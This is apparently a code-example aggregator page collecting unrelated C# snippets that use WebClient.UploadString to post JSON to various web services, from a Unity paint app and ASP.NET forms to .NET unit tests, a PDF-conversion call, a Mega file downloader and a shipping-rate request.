                nested_fields_lvl2CF.AddField("r", PaintPreferences.colorFilter.r.ToString());
                nested_fields_lvl2CF.AddField("g", PaintPreferences.colorFilter.g.ToString());
                nested_fields_lvl2CF.AddField("b", PaintPreferences.colorFilter.b.ToString());

                nested_fields_lvl1.AddField("color_filter", nested_fields_lvl2CF);
            }

            // I have to set it here because srly that is f****d up
            // PaintPreferences.backgroundIsImage = false;
            // now the part which is going to be a mess, about the backgrounds
            if (PaintPreferences.backgroundIsImage == false)
            {
                JSONObject nested_fields_lvl2BG = new JSONObject(JSONObject.Type.OBJECT);
                nested_fields_lvl2BG.AddField("a", PaintPreferences.backgroundColor.a.ToString());
                nested_fields_lvl2BG.AddField("r", PaintPreferences.backgroundColor.r.ToString());
                nested_fields_lvl2BG.AddField("g", PaintPreferences.backgroundColor.g.ToString());
                nested_fields_lvl2BG.AddField("b", PaintPreferences.backgroundColor.b.ToString());

                nested_fields_lvl1.AddField("background_color", nested_fields_lvl2BG);
            }
            else
            {
                string fullPath = Path.Combine(exercisePath, Path.GetFileName(PaintPreferences.backgroundTexturePath));

                byte[] bytes = File.ReadAllBytes(fullPath);

                string base64String = Convert.ToBase64String(bytes);
                //Debug.Log("codifica dell'immagine: " + base64String);

                JSONObject nested_fields_lvl2BI = new JSONObject(JSONObject.Type.OBJECT);
                nested_fields_lvl2BI.AddField("filename", PaintPreferences.backgroundTexturePath);
                nested_fields_lvl2BI.AddField("content", base64String);
                nested_fields_lvl2BI.AddField("content_type", "image/jpeg");

                nested_fields_lvl1.AddField("background_image", nested_fields_lvl2BI);
            }

            string drawingFilePath = exercisePath + "\\Paint_Drawing.png";

            if (File.Exists(drawingFilePath))
            {
                byte[] bytes = File.ReadAllBytes(drawingFilePath);

                string base64String = Convert.ToBase64String(bytes);
                //Debug.Log("codifica dell'immagine: " + base64String);

                JSONObject nested_fields_lvl2PD= new JSONObject(JSONObject.Type.OBJECT);
                nested_fields_lvl2PD.AddField("filename", "Paint_Drawing.png");
                nested_fields_lvl2PD.AddField("content", base64String);
                nested_fields_lvl2PD.AddField("content_type", "image/png");

                nested_fields_lvl1.AddField("paint_drawing", nested_fields_lvl2PD);
            }


            if (1 == 1)
            {
                // I'm reading the heartbeats now
                string fullPathHB = Path.Combine(exercisePath, "heartRate.dat");
                Debug.Log("path dove cerca l'HB: " + fullPathHB);

                byte[] bytesHB = File.ReadAllBytes(fullPathHB);

                string base64StringHB = System.Convert.ToBase64String(bytesHB);
                // Debug.Log("codifica dell'immagine: " + base64String);

                JSONObject nested_fields_lvl2HB = new JSONObject(JSONObject.Type.OBJECT);
                nested_fields_lvl2HB.AddField("filename", "heartRate.dat");
                nested_fields_lvl2HB.AddField("content", base64StringHB);
                nested_fields_lvl2HB.AddField("content_type", "file/dat");

                nested_fields_lvl1.AddField("heartbeat_file", nested_fields_lvl2HB);
            }

            // finally, everything goes back in to trails
            JSONObject root_paint = new JSONObject(JSONObject.Type.OBJECT);
            root_paint.AddField("paint", nested_fields_lvl1);

            string encodedString = root_paint.ToString();
            Debug.Log(encodedString);

            while (!allProper && retryCount > 0)
            {
                //the actual call, in a try catch
                try
                {
                    using (var client = new WebClient())
                    {
                        string token_string = "Token token=\"" + token + "\", email=\"" + login_email + "\"";
                        client.Headers[HttpRequestHeader.Authorization] = token_string;
                        client.Headers[HttpRequestHeader.ContentType] = "application/json";
                        result = client.UploadString(paints_url, "POST", encodedString);
                    }
                    allProper = true;
                }
                catch (WebException ex)
                {
                    retryCount--;

                    if (retryCount == 0)
                    {
                        Debug.Log("exception: " + ex);
                        var response = ex.Response as HttpWebResponse;
                        errorHandler = RestError.GenericPostPaintError;

                        if (response != null)
                        {
                            Debug.Log("HTTP Status Code: " + (int)response.StatusCode);
                            switch ((int)response.StatusCode)
                            {

                                //			case 400:
                                //				errorHandler = RestError.WrongMail;
                                //				break;
                                //			case 401:
                                //				errorHandler = RestError.WrongPassword;
                                //				break;
                                case 500:
                                    errorHandler = RestError.ServerError;
                                    break;
                                default:
                                    break;
                            }
                        }
                        break;
                    }
                }
            }
        }
        else
        {
            errorHandler = RestError.XMLNotPresent;
        }

        yield return result;

        if (allProper)
        {
            errorHandler = RestError.AllGood;

            Debug.Log(result);
        }

    }
示例#47
0
    public void GetTxnDetail()
    {
        try
        {
            Reply objRes = new Reply();
            // send request
            using (WebClient client = new WebClient())
            {
                if (Session["Role"].ToString() == "admin")
                {
                    if (DDL_Duration.SelectedIndex == 0)
                    {
                        PageUtility.MessageBox(this, "Alert : Select Duration");
                        return;
                    }
                    else if (DDL_Duration.SelectedIndex == 1)
                    {
                        perameter = Session["Role"].ToString() + "#" + Session["Location"].ToString() + "#" + DateTime.Now.ToString("yyyy-MM-dd") + "#" + DateTime.Now.ToString("yyyy-MM-dd");
                    }
                    else if (DDL_Duration.SelectedIndex == 2)
                    {
                        perameter = Session["Role"].ToString() + "#" + Session["Location"].ToString() + "#" + DateTime.Now.AddDays(-6).ToString("yyyy-MM-dd") + "#" + DateTime.Now.ToString("yyyy-MM-dd");
                    }
                }
                else
                {
                    if (DDL_Duration.SelectedIndex == 0)
                    {
                        PageUtility.MessageBox(this, "Alert : Select Duration");
                        return;
                    }
                    else if (DDL_Duration.SelectedIndex == 1)
                    {
                        perameter = Session["Role"].ToString() + "#" + Session["Location"].ToString() + "#" + DateTime.Now.ToString("yyyy-MM-dd") + "#" + DateTime.Now.ToString("yyyy-MM-dd");
                    }
                    else if (DDL_Duration.SelectedIndex == 2)
                    {
                        perameter = Session["Role"].ToString() + "#" + Session["Location"].ToString() + "#" + DateTime.Now.AddDays(-6).ToString("yyyy-MM-dd") + "#" + DateTime.Now.ToString("yyyy-MM-dd");
                    }
                }

                client.Headers[HttpRequestHeader.ContentType] = "text/json";
                ServicePointManager.SecurityProtocol          = SecurityProtocolType.Tls12;

                DataContractJsonSerializer objJsonSerSend = new DataContractJsonSerializer(typeof(string));

                MemoryStream memStrToSend = new MemoryStream();

                objJsonSerSend.WriteObject(memStrToSend, perameter);

                // string data = Encoding.Default.GetString(memStrToSend.ToArray());

                string result = client.UploadString(URL + "/GetSummerizeTxnReport", "POST", "\"" + perameter + "\"");  // , "\"" + perameter + "\"" |   GetDashBoardDetail |GetHealthTxnDataWithState

                MemoryStream memstrToReceive = new MemoryStream(Encoding.UTF8.GetBytes(result));

                DataContractJsonSerializer objJsonSerRecv = new DataContractJsonSerializer(typeof(Reply));

                objRes = (Reply)objJsonSerRecv.ReadObject(memstrToReceive);
            }

            if (objRes.res == true)
            {
                GV_Txn_Details.DataSource = objRes.DS.Tables[0];
                GV_Txn_Details.DataBind();
            }
            else
            {
                Response.Write("<script type='text/javascript'>alert( 'Data Not Exist.' )</script>");
            }
        }
        catch (Exception ex)
        {
            Response.Write("<script type='text/javascript'>alert( 'catch error : " + ex.Message + "' )</script>");
        }

        finally { GC.Collect(); }
    }
示例#48
0
        public string GetUsernames()
        {
            var cli = new WebClient();
            cli.Headers[HttpRequestHeader.ContentType] = "application/json";
            string response = cli.UploadString("http://www.spinxo.com/services/NameService.asmx/GetNames", "{snr:{Stub:\"username\"}}");

            return response;
        }
示例#49
0
 public string getData(String InputString)
 {
     using (WebClient webClient = new WebClient())
     {
         webClient.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
         result = webClient.UploadString(URI, myParameters);
     }
     return result;
 }
    protected void btn_play_for_real_Click(object sender, EventArgs e)
    {
        HedgeEmLogEvent my_log_event = new HedgeEmLogEvent();
        my_log_event.p_method_name = "btn_play_for_real_Click";
        log.Info("[" + Session["username"].ToString() + "] cliked on Play for Real button.");
        try
        {
            // This will get the current value of count that how many times user have clicked on the button, from the database.       
            int play_for_real_count = Convert.ToInt32(f_get_object_from_json_call_to_server("f_get_play_for_real_count/" + f_get_player_id().ToString(), null));

            // This will increment the value of count.
            play_for_real _play_for_real = new play_for_real
            {
                p_playerid = f_get_player_id(),
                p_play_for_real_count = play_for_real_count
            };

            DataContractJsonSerializer ser = new DataContractJsonSerializer(typeof(play_for_real));
            MemoryStream mem = new MemoryStream();
            ser.WriteObject(mem, _play_for_real);
            string data =
                Encoding.UTF8.GetString(mem.ToArray(), 0, (int)mem.Length);
            WebClient webClient = new WebClient();
            webClient.Headers["Content-type"] = "application/json";
            webClient.Encoding = Encoding.UTF8;
            webClient.UploadString("http://devserver.hedgeem.com/Service1.svc/f_set_play_for_real_count", data);
            webClient.UploadString("http://localhost:59225/Service1.svc/f_set_play_for_real_count", data);

            _global_game_state_object = (DC_hedgeem_game_state)f_get_object_from_json_call_to_server("get_game_state_object/" + _table_id, typeof(DC_hedgeem_game_state));
            game_id = _global_game_state_object.p_game_id;
            int my_number_of_hands = _global_game_state_object.p_number_of_hands_int;
            enum_betting_stage my_betting_stage = f_get_current_betting_stage();
            _game_state = _global_game_state_object.p_current_state_enum;
            _hedgeem_hand_panels = new hedgeem_hand_panel[my_number_of_hands];
            _int_number_of_betting_stages = _global_game_state_object.p_number_of_betting_stages_int;
            _hedgeem_betting_panels = new BETTING_PANEL[_int_number_of_betting_stages, my_number_of_hands];
            lbl_game_id.Text = String.Format("Table/Game: {0}/{1} ", _global_game_state_object.p_table_id, game_id);
            // Method which calls the functions to render the screen.
            f_call_functions_to_render_screen();
        }
        catch (Exception ex)
        {
            string my_error_popup = "alert('Error in btn_play_for_real_Click - " + ex.Message.ToString() + "');";
            ClientScript.RegisterClientScriptBlock(this.GetType(), "Alert", my_error_popup, true);
            HedgeEmLogEvent my_log = new HedgeEmLogEvent();
            my_log.p_message = "Exception caught in btn_play_for_real_Click function " + ex.Message;
            my_log.p_method_name = "btn_play_for_real_Click";
            my_log.p_player_id = f_get_player_id();
            my_log.p_game_id = game_id;
            my_log.p_table_id = _table_id;
            log.Error(my_log.ToString());
        }
    }
示例#51
0
    protected void btncreate_Click(object sender, EventArgs e) //MARK:- it adds new project
    {
        try
        {
            var      members = listmembers.SelectedValue.ToString();
            string[] membs   = new string[0];
            var      k       = 0;
            for (int i = 0; i < listmembers.Items.Count; i++)
            {
                if (listmembers.Items[i].Selected)
                {
                    Array.Resize(ref membs, membs.Length + 1);
                    membs[k] = listmembers.Items[i].Value;
                    k++;
                }
            }



            EmpProject project = new EmpProject
            {
                Project_Name    = txtProjectName.Text,
                Project_Type    = ddlptype.SelectedValue.ToString(),
                project_subtype = ddlsubtype.SelectedValue.ToString(),
                Project_duedate = txtduedate.Text,
                project_manager = ddlprojectmanager.SelectedValue.ToString(),
                Description     = txtDescription.Text,
                Source          = txtSource.Text,
                TeamID          = membs,
                fk_idlogin      = "******"
            };


            DataContractJsonSerializer objJsonSerSend = new DataContractJsonSerializer(typeof(EmpProject));
            MemoryStream memStrToSend = new MemoryStream();
            objJsonSerSend.WriteObject(memStrToSend, project);
            string data = Encoding.Default.GetString(memStrToSend.ToArray());

            //string data = JsonConvert.SerializeObject(employee);
            WebClient webClient = new WebClient();
            webClient.Headers[HttpRequestHeader.ContentType] = "application/json";

            var res = webClient.UploadString(URL + "/addProject", "POST", data);

            MemoryStream ms = new MemoryStream(Encoding.UTF8.GetBytes(res));
            DataContractJsonSerializer recv = new DataContractJsonSerializer(typeof(bool));
            bool httpResponse = (bool)recv.ReadObject(ms);

            if (httpResponse)
            {
                allClear();
                listmembers.ClearSelection();
                GetActiveAndSuspendProjectCount();
                string add = "Project Create Successfully ! ";
                Page.ClientScript.RegisterStartupScript(this.GetType(), "myScript", "Success('" + add + "');", true);
            }
            else
            {
                string add = "Project Create Failed ! ";
                Page.ClientScript.RegisterStartupScript(this.GetType(), "myScript", "OnError('" + add + "');", true);
            }
        }
        catch (Exception ex)
        {
            Log.Write("Exception In Add Project " + ex.ToString(), "");
        }
    }
    protected void EnrollServer_Click(object sender, EventArgs e)
    {
        if (FederationPassword1.Text != FederationPassword2.Text)
        {
            RequestFederationStatus.Text = "Passwords do not match!";
            return;
        }
           FederateRecord newFederate = new FederateRecord();
           newFederate.ActivationState = FederateState.Active;
           newFederate.AllowFederatedDownload = AllowDownload.Checked;
           newFederate.AllowFederatedSearch = AllowSearch.Checked;
           newFederate.namespacePrefix = Namespace.Text;
           newFederate.OrganizationPOC = POCName.Text;
           newFederate.OrganizationPOCEmail = OrganizationEmail.Text;
           newFederate.OrganizationPOCPassword = FederationPassword1.Text;
           newFederate.OrganizationURL = OrganizationURL.Text;
           newFederate.OrginizationName = OrganizationName.Text;
           newFederate.RESTAPI = APIURL.Text;
           newFederate.SOAPAPI = APIURL.Text;

           System.Net.WebClient wc = new WebClient();
           string request = (new JavaScriptSerializer()).Serialize(newFederate);
        //   request = "{\"ActivationState\":0,\"AllowFederatedDownload\":true,\"AllowFederatedSearch\":true,\"RESTAPI\":\"http://localhost/3DRAPI/_3DRAPI.svc\",\"OrganizationPOC\":\"Admin\",\"OrganizationPOCEmail\":\"[email protected]\",\"OrganizationPOCPassword\":\"password\",\"OrganizationURL\":\"http://www.somecompany.com\",\"OrginizationName\":\"Some Company\",\"SOAPAPI\":\"\",\"namespacePrefix\":\"adl\"}";
           wc.Headers["Content-Type"] = "application/json; charset=utf-8";
           string response = wc.UploadString("http://3dr.adlnet.gov/federation/3DR_Federation_Mgmt.svc/RequestFederation", "POST", request);
           RequestFederationResponse serverresponse = (new JavaScriptSerializer()).Deserialize<RequestFederationResponse>(response);

           BindDetails();

        RequestFederationStatus.Text = serverresponse.message;
    }
示例#53
0
    public static string RemoveUserInThisProject(string ProjectName, string UserId)
    {
        string response = "";

        try
        {
            string[] UserIDdata = UserId.Split(',');

            ReqAddUserInThisProject objReqAddUserInThisProject = new ReqAddUserInThisProject();

            objReqAddUserInThisProject.projectName = ProjectName;
            objReqAddUserInThisProject.type        = "Remove";
            int count = 0;
            for (int i = 0; i < UserIDdata.Length; i++)
            {
                if (UserIDdata[i] != "")
                {
                    count++;
                }
            }
            objReqAddUserInThisProject.userID = new string[count];
            int k = 0;
            for (int i = 0; i < UserIDdata.Length; i++)
            {
                if (UserIDdata[i] != "")
                {
                    objReqAddUserInThisProject.userID[k] = UserIDdata[i];
                    k++;
                }
            }

            DataContractJsonSerializer objJsonSerSend = new DataContractJsonSerializer(typeof(ReqAddUserInThisProject));
            MemoryStream memStrToSend = new MemoryStream();
            objJsonSerSend.WriteObject(memStrToSend, objReqAddUserInThisProject);
            string data = Encoding.Default.GetString(memStrToSend.ToArray());

            //string data = JsonConvert.SerializeObject(employee);
            WebClient webClient = new WebClient();
            webClient.Headers[HttpRequestHeader.ContentType] = "application/json";

            var res = webClient.UploadString(URL + "/addUserInThisProject", "POST", data);

            MemoryStream ms = new MemoryStream(Encoding.UTF8.GetBytes(res));
            DataContractJsonSerializer recv = new DataContractJsonSerializer(typeof(bool));
            bool httpResponse = (bool)recv.ReadObject(ms);

            if (httpResponse)
            {
                response = "true";
            }
            else
            {
                response = "false";
            }
        }
        catch (Exception ex)
        {
            response = "false";
            ex.ToString();
        }
        return(response);
    }
示例#54
0
        public static void UploadString_InvalidArguments_ThrowExceptions()
        {
            var wc = new WebClient();
            
            Assert.Throws<ArgumentNullException>("address", () => { wc.UploadString((string)null, null); });
            Assert.Throws<ArgumentNullException>("address", () => { wc.UploadString((string)null, null, null); });
            Assert.Throws<ArgumentNullException>("address", () => { wc.UploadString((Uri)null, null); });
            Assert.Throws<ArgumentNullException>("address", () => { wc.UploadString((Uri)null, null, null); });

            Assert.Throws<ArgumentNullException>("address", () => { wc.UploadStringAsync((Uri)null, null); });
            Assert.Throws<ArgumentNullException>("address", () => { wc.UploadStringAsync((Uri)null, null, null); });
            Assert.Throws<ArgumentNullException>("address", () => { wc.UploadStringAsync((Uri)null, null, null, null); });

            Assert.Throws<ArgumentNullException>("address", () => { wc.UploadStringTaskAsync((string)null, null); });
            Assert.Throws<ArgumentNullException>("address", () => { wc.UploadStringTaskAsync((string)null, null, null); });
            Assert.Throws<ArgumentNullException>("address", () => { wc.UploadStringTaskAsync((Uri)null, null); });
            Assert.Throws<ArgumentNullException>("address", () => { wc.UploadStringTaskAsync((Uri)null, null, null); });

            Assert.Throws<ArgumentNullException>("data", () => { wc.UploadString("http://localhost", null); });
            Assert.Throws<ArgumentNullException>("data", () => { wc.UploadString("http://localhost", null, null); });
            Assert.Throws<ArgumentNullException>("data", () => { wc.UploadString(new Uri("http://localhost"), null); });
            Assert.Throws<ArgumentNullException>("data", () => { wc.UploadString(new Uri("http://localhost"), null, null); });

            Assert.Throws<ArgumentNullException>("data", () => { wc.UploadStringAsync(new Uri("http://localhost"), null); });
            Assert.Throws<ArgumentNullException>("data", () => { wc.UploadStringAsync(new Uri("http://localhost"), null, null); });
            Assert.Throws<ArgumentNullException>("data", () => { wc.UploadStringAsync(new Uri("http://localhost"), null, null, null); });

            Assert.Throws<ArgumentNullException>("data", () => { wc.UploadStringTaskAsync("http://localhost", null); });
            Assert.Throws<ArgumentNullException>("data", () => { wc.UploadStringTaskAsync("http://localhost", null, null); });
            Assert.Throws<ArgumentNullException>("data", () => { wc.UploadStringTaskAsync(new Uri("http://localhost"), null); });
            Assert.Throws<ArgumentNullException>("data", () => { wc.UploadStringTaskAsync(new Uri("http://localhost"), null, null); });
        }
示例#55
0
    public static ReqAllExpense GetAllExpensesFinalSubmit(string projectname)
    {
        ReqAllExpense listReqAllExpense = new ReqAllExpense();

        try
        {
            WebClient webClient = new WebClient();
            webClient.Headers[HttpRequestHeader.ContentType] = "application/json";

            var data = JsonConvert.SerializeObject(projectname);

            var res = webClient.UploadString(URL + "/GetAllExpenses", "POST", data);

            MemoryStream ms = new MemoryStream(Encoding.UTF8.GetBytes(res));
            DataContractJsonSerializer recv = new DataContractJsonSerializer(typeof(Response));
            Response httpResponse           = (Response)recv.ReadObject(ms);



            if (httpResponse.isValid)
            {
                var      dt        = httpResponse.DS.Tables[0];
                TimeSpan spWorkMin = new TimeSpan();
                string   workHours = "";
                string   totalexp  = "";
                if (dt.Rows.Count > 0)
                {
                    if (dt.Rows[0][0].ToString() != "")
                    {
                        spWorkMin = TimeSpan.FromMinutes(Convert.ToDouble(dt.Rows[0][0].ToString()));
                        workHours = spWorkMin.ToString(@"hh\:mm");
                    }
                    else
                    {
                        workHours = "00:00";
                    }

                    if (dt.Rows[0][1].ToString() != "" &&
                        dt.Rows[0][2].ToString() != "" &&
                        dt.Rows[0][3].ToString() != "" &&
                        dt.Rows[0][4].ToString() != "" &&
                        dt.Rows[0][5].ToString() != "")
                    {
                        totalexp = Convert.ToString(Convert.ToDouble(dt.Rows[0][1].ToString())
                                                    + Convert.ToDouble(dt.Rows[0][2].ToString())
                                                    + Convert.ToDouble(dt.Rows[0][3].ToString())
                                                    + Convert.ToDouble(dt.Rows[0][4].ToString())
                                                    + Convert.ToDouble(dt.Rows[0][5].ToString())
                                                    );
                        listReqAllExpense.MainHours        = workHours;
                        listReqAllExpense.MainHoursExpense = dt.Rows[0][1].ToString();
                        listReqAllExpense.Hardware         = dt.Rows[0][2].ToString();
                        listReqAllExpense.Software         = dt.Rows[0][3].ToString();
                        listReqAllExpense.TourExpense      = dt.Rows[0][4].ToString();
                        listReqAllExpense.Other            = dt.Rows[0][5].ToString();
                        listReqAllExpense.totalExpense     = totalexp;
                    }
                    else
                    {
                        totalexp =
                            listReqAllExpense.MainHours    = workHours;
                        listReqAllExpense.MainHoursExpense = "0.00";
                        listReqAllExpense.Hardware         = "0.00";
                        listReqAllExpense.Software         = "0.00";
                        listReqAllExpense.TourExpense      = "0.00";
                        listReqAllExpense.Other            = "0.00";
                        listReqAllExpense.totalExpense     = "0.00";
                    }
                }
            }
        }
        catch (Exception ex)
        {
            ex.ToString();
        }
        return(listReqAllExpense);
    }
示例#56
0
 protected override Task<string> UploadStringAsync(WebClient wc, string address, string data) => Task.Run(() => wc.UploadString(address, data));
示例#57
0
        static void Main(string[] args)
        {
            // HTML template
            string template = File.ReadAllText(@".\invoice_template.html");
            // Data to fill the template
            string templateData = File.ReadAllText(@".\invoice_data.json");
            // Destination PDF file name
            string destinationFile = @".\result.pdf";

            // Create standard .NET web client instance
            WebClient webClient = new WebClient();

            // Set API Key
            webClient.Headers.Add("x-api-key", API_KEY);

            try
            {
                // Prepare URL for `HTML to PDF` API call
                string request = Uri.EscapeUriString(string.Format(
                                                         "https://bytescout.io/v1/pdf/convert/from/html?name={0}",
                                                         Path.GetFileName(destinationFile)));

                // Prepare request body in JSON format
                JObject jsonObject = new JObject(
                    new JProperty("html", template),
                    new JProperty("templateData", templateData));

                webClient.Headers.Add("Content-Type", "application/json");

                // Execute request
                string response = webClient.UploadString(request, jsonObject.ToString());

                // Parse JSON response
                JObject json = JObject.Parse(response);

                if (json["error"].ToObject <bool>() == false)
                {
                    // Get URL of generated PDF file
                    string resultFileUrl = json["url"].ToString();

                    webClient.Headers.Remove("Content-Type");         // remove the header required for only the previous request

                    // Download the PDF file
                    webClient.DownloadFile(resultFileUrl, destinationFile);

                    Console.WriteLine("Generated PDF document saved as \"{0}\" file.", destinationFile);
                }
                else
                {
                    Console.WriteLine(json["message"].ToString());
                }
            }
            catch (WebException e)
            {
                Console.WriteLine(e.ToString());
            }

            webClient.Dispose();


            Console.WriteLine();
            Console.WriteLine("Press any key to exit...");
            Console.ReadKey();
        }
示例#58
0
        public static byte[] GetMegaFile(string megaUrl)
        {
            byte[] result = null;

            string id;
            string key;

            {
                string[] ss = megaUrl.Split('!');
                if (ss.Length < 2)
                {
                    return(result);
                }
                id  = ss[1];
                key = ss[2];
            }
            Log("megaUrl={0}, id={1}, key={2}", megaUrl, id, key);

            byte[] aesKey = new byte[16];
            byte[] aesIv  = new byte[16];   // counter
            {
                string b64Key = key.Replace("-", "+");
                while (b64Key.Length % 4 != 0)
                {
                    b64Key += '=';
                }
                Log("b64Key={0}", b64Key);
                byte[] binKey = Convert.FromBase64String(b64Key);
                if (binKey.Length != 32)
                {
                    return(result);
                }
                for (int i = 0; i < 16; i++)
                {
                    aesKey[i] = (byte)(binKey[i] ^ binKey[i + 16]);
                }
                for (int i = 0; i < 16; i++)
                {
                    if (i < 8)
                    {
                        aesIv[i] = binKey[i + 16];
                    }
                    else
                    {
                        aesIv[i] = 0;
                    }
                }
            }
            Log("aesKey = {0}", ByteArrayToString(aesKey));
            Log("aesIv  = {0}", ByteArrayToString(aesIv));

            string encUrl = null;

            {
                string postResult = "";
                {
                    string postUri    = "https://eu.api.mega.co.nz/cs";
                    string postParams = string.Format(@"[{{""a"":""g"",""g"":1,""p"":""{0}""}}]", id);
                    using (WebClient wc = new WebClient())
                    {
                        for (int retryCount = 0; retryCount < retryMax; retryCount++)
                        {
                            if (retryCount != 0)
                            {
                                Console.WriteLine("Retrying...");
                                Thread.Sleep(retrySleep);
                            }
                            wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
                            try
                            {
                                postResult = wc.UploadString(postUri, postParams);
                                if (!string.IsNullOrEmpty(postResult))
                                {
                                    break;
                                }
                            }
                            catch (WebException)
                            {
                                Console.WriteLine("POST failed#{0}({1})", retryCount + 1, postUri);
                            }
                        }
                    }
                }

                Match match = Regex.Match(postResult, @"""g"":""([^""]*)""");
                if (match.Groups.Count != 2)
                {
                    return(result);
                }
                encUrl = match.Groups[1].Value;
            }
            Log("encUrl  = {0}", encUrl);

            byte[] encFile = null;
            {
                using (WebClient wc = new WebClient())
                {
                    for (int retryCount = 0; retryCount < retryMax; retryCount++)
                    {
                        if (retryCount != 0)
                        {
                            Console.WriteLine("Retrying...");
                            Thread.Sleep(retrySleep);
                        }
                        try
                        {
                            encFile = wc.DownloadData(encUrl);
                        }
                        catch (WebException)
                        {
                            Console.WriteLine("GET failed#{0}({1})", retryCount + 1, encUrl);
                        }
                        if (encFile != null && encFile.Length > 0)
                        {
                            break;
                        }
                    }
                }
                if (encFile == null)
                {
                    return(result);
                }
            }

            byte[] decFile = null;
            {
                byte[] paddedEncFile = new byte[((encFile.Length + 15) / 16) * 16];
                Log("encFile.Length={0}", encFile.Length);
                Log("paddedEncFile.Length={0}", paddedEncFile.Length);
                encFile.CopyTo(paddedEncFile, 0);
                for (int i = encFile.Length; i < paddedEncFile.Length; i++)
                {
                    paddedEncFile[i] = 0;
                }

                var aes = new Aes128CounterMode(aesIv);
                var dec = aes.CreateDecryptor(aesKey, null);

                byte[] paddedDecFile = new byte[paddedEncFile.Length];
                dec.TransformBlock(paddedEncFile, 0, paddedEncFile.Length, paddedDecFile, 0);
                Array.Resize(ref paddedDecFile, encFile.Length);
                decFile = paddedDecFile;
            }
            return(decFile);
        }
示例#59
0
        protected virtual IList <ShipStationServiceRate> GetRates(GetShippingOptionRequest getShippingOptionRequest, string carrierCode)
        {
            var usedWeight = _measureService.GetMeasureWeightBySystemKeyword(Weight.Units);

            if (usedWeight == null)
            {
                throw new SmiException("ShipStatio shipping service. Could not load \"{0}\" measure weight", Weight.Units);
            }

            var usedMeasureDimension = _measureService.GetMeasureDimensionBySystemKeyword(Dimensions.Units);

            if (usedMeasureDimension == null)
            {
                throw new SmiException("ShipStatio shipping service. Could not load \"{0}\" measure dimension", Dimensions.Units);
            }

            var weight = Convert.ToInt32(Math.Ceiling(_measureService.ConvertFromPrimaryMeasureWeight(_shippingService.GetTotalWeight(getShippingOptionRequest), usedWeight)));

            var postData = new RatesRequest
            {
                CarrierCode    = carrierCode,
                FromPostalCode = getShippingOptionRequest.ZipPostalCodeFrom ?? getShippingOptionRequest.ShippingAddress.ZipPostalCode,
                ToState        = _stateProvinceService.GetStateProvinceByAddress(getShippingOptionRequest.ShippingAddress).Abbreviation,
                ToCountry      = _countryService.GetCountryByAddress(getShippingOptionRequest.ShippingAddress).TwoLetterIsoCode,
                ToPostalCode   = getShippingOptionRequest.ShippingAddress.ZipPostalCode,
                ToCity         = getShippingOptionRequest.ShippingAddress.City,
                Weight         = new Weight {
                    Value = weight
                }
            };

            if (_shipStationSettings.PassDimensions)
            {
                int length, height, width;

                decimal lengthTmp, widthTmp, heightTmp;

                switch (_shipStationSettings.PackingType)
                {
                case PackingType.PackByDimensions:
                    _shippingService.GetDimensions(getShippingOptionRequest.Items, out widthTmp, out lengthTmp,
                                                   out heightTmp);

                    length = ConvertFromPrimaryMeasureDimension(lengthTmp, usedMeasureDimension);
                    height = ConvertFromPrimaryMeasureDimension(heightTmp, usedMeasureDimension);
                    width  = ConvertFromPrimaryMeasureDimension(widthTmp, usedMeasureDimension);
                    break;

                case PackingType.PackByVolume:
                    if (getShippingOptionRequest.Items.Count == 1 &&
                        getShippingOptionRequest.Items[0].GetQuantity() == 1)
                    {
                        var sci     = getShippingOptionRequest.Items[0].ShoppingCartItem;
                        var product = getShippingOptionRequest.Items[0].Product;

                        _shippingService.GetDimensions(new List <GetShippingOptionRequest.PackageItem>
                        {
                            new GetShippingOptionRequest.PackageItem(sci, product, 1)
                        }, out widthTmp, out lengthTmp, out heightTmp);

                        length = ConvertFromPrimaryMeasureDimension(lengthTmp, usedMeasureDimension);
                        height = ConvertFromPrimaryMeasureDimension(lengthTmp, usedMeasureDimension);
                        width  = ConvertFromPrimaryMeasureDimension(widthTmp, usedMeasureDimension);
                    }
                    else
                    {
                        decimal totalVolume = 0;
                        foreach (var item in getShippingOptionRequest.Items)
                        {
                            var sci     = item.ShoppingCartItem;
                            var product = item.Product;

                            _shippingService.GetDimensions(new List <GetShippingOptionRequest.PackageItem>
                            {
                                new GetShippingOptionRequest.PackageItem(sci, product, 1)
                            }, out widthTmp, out lengthTmp, out heightTmp);

                            var productLength = ConvertFromPrimaryMeasureDimension(lengthTmp, usedMeasureDimension);
                            var productHeight = ConvertFromPrimaryMeasureDimension(heightTmp, usedMeasureDimension);
                            var productWidth  = ConvertFromPrimaryMeasureDimension(widthTmp, usedMeasureDimension);
                            totalVolume += item.GetQuantity() * (productHeight * productWidth * productLength);
                        }

                        int dimension;
                        if (totalVolume == 0)
                        {
                            dimension = 0;
                        }
                        else
                        {
                            // cubic inches
                            var packageVolume = _shipStationSettings.PackingPackageVolume;
                            if (packageVolume <= 0)
                            {
                                packageVolume = 5184;
                            }

                            // cube root (floor)
                            dimension = Convert.ToInt32(Math.Floor(Math.Pow(Convert.ToDouble(packageVolume),
                                                                            1.0 / 3.0)));
                        }

                        length = width = height = dimension;
                    }

                    break;

                default:
                    length = height = width = 1;
                    break;
                }

                if (length < 1)
                {
                    length = 1;
                }
                if (height < 1)
                {
                    height = 1;
                }
                if (width < 1)
                {
                    width = 1;
                }

                postData.Dimensions = new Dimensions
                {
                    Length = length,
                    Height = height,
                    Width  = width
                };
            }

            using (var client = new WebClient())
            {
                client.Credentials = new NetworkCredential(_shipStationSettings.ApiKey, _shipStationSettings.ApiSecret);

                client.Headers.Add("Content-Type", CONTENT_TYPE);

                var data = client.UploadString($"{API_URL}{LIST_RATES_CMD}", JsonConvert.SerializeObject(postData));

                return(TryGetError(data) ? new List <ShipStationServiceRate>() : JsonConvert.DeserializeObject <List <ShipStationServiceRate> >(data));
            }
        }
示例#60
-1
    public static void Main()
    {
        string data = "data";
        WebClient client = new WebClient();

        client.Encoding = System.Text.Encoding.UTF8;

        string reply = client.UploadString("http://www.wp.pl", data);

        Console.WriteLine(reply);

    }